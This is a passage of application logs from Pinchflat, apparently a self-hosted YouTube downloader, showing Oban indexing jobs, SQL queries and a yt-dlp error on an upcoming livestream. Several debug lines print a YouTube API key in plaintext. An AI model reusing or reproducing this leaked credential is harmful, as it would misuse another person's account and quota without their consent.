INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799881, 6, ~U[2026-02-10 22:06:18Z], ~U[2026-02-10 22:06:18Z]] 16:06:18.465 [info] {"args":{"id":6},"id":3799842,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8792826,"event":"job:stop","queue_time":345856,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:18.678 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/08/dc/08dca189fb4438b61d7bd209fb331f8bef69f5679acb42fe995d3051b5cd09d5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:06:18.678 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:06:18.678 [debug] QUERY OK source="media_items" db=0.4ms idle=213.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:06:18.679 [debug] QUERY OK source="tasks" db=0.1ms idle=208.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799882, 19, ~U[2026-02-10 22:06:18Z], ~U[2026-02-10 22:06:18Z]] 16:06:18.680 [info] {"args":{"id":19},"id":3799843,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3001214,"event":"job:stop","queue_time":829740,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:27.691 [info] {"args":{"id":30},"id":3799844,"meta":{},"system_time":1770761187691710212,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:27.692 [debug] QUERY OK source="sources" db=0.1ms idle=1813.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:06:27.692 [debug] QUERY OK source="settings" db=0.1ms idle=1813.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:27.692 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:27.692 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:27.692 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:06:27.692 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:27.692 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:27.759 [info] {"source":"oban","duration":9905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:27.820 [debug] QUERY OK source="media_items" db=0.3ms idle=128.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:06:27.821 [debug] QUERY OK source="media_items" db=0.3ms idle=128.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:06:27.822 [debug] QUERY OK source="tasks" db=0.5ms idle=62.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799883, 30, ~U[2026-02-10 22:06:27Z], ~U[2026-02-10 22:06:27Z]] 16:06:27.822 [info] {"args":{"id":30},"id":3799844,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130888,"event":"job:stop","queue_time":539890,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:28.692 [info] {"args":{"id":17},"id":3799845,"meta":{},"system_time":1770761188692700799,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:28.693 [debug] QUERY OK source="sources" db=0.2ms idle=870.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:06:28.693 [debug] QUERY OK source="settings" db=0.1ms idle=870.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:28.693 [debug] QUERY OK source="media_profiles" db=0.0ms idle=864.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:28.693 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:28.693 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:06:28.693 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:28.693 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:28.795 [debug] QUERY OK source="media_items" db=0.4ms idle=101.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:06:28.795 [debug] QUERY OK source="media_items" db=0.2ms idle=102.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:06:28.796 [debug] QUERY OK source="tasks" db=0.1ms idle=102.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799884, 17, ~U[2026-02-10 22:06:28Z], ~U[2026-02-10 22:06:28Z]] 16:06:28.796 [info] {"args":{"id":17},"id":3799845,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103902,"event":"job:stop","queue_time":542833,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:30.694 [info] {"args":{"id":33},"id":3799846,"meta":{},"system_time":1770761190694781399,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:30.695 [debug] QUERY OK source="sources" db=0.1ms idle=816.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:06:30.695 [debug] QUERY OK source="settings" db=0.1ms idle=816.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:30.695 [debug] QUERY OK source="media_profiles" db=0.1ms idle=817.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:30.695 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:30.695 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:06:30.695 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:30.695 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:30.804 [debug] QUERY OK source="media_items" db=0.8ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:06:30.805 [debug] QUERY OK source="media_items" db=0.6ms idle=109.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:06:30.806 [debug] QUERY OK source="tasks" db=0.1ms idle=110.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799885, 33, ~U[2026-02-10 22:06:30Z], ~U[2026-02-10 22:06:30Z]] 16:06:30.806 [info] {"args":{"id":33},"id":3799846,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111905,"event":"job:stop","queue_time":413191,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:31.696 [info] {"args":{"id":12},"id":3799847,"meta":{},"system_time":1770761191696695002,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:31.696 [info] {"args":{"id":11},"id":3799848,"meta":{},"system_time":1770761191696734614,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:31.697 [debug] QUERY OK source="sources" db=0.1ms idle=890.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:06:31.697 [debug] QUERY OK source="sources" db=0.2ms idle=890.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:06:31.697 [debug] QUERY OK source="settings" db=0.2ms idle=884.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:31.697 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:31.697 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 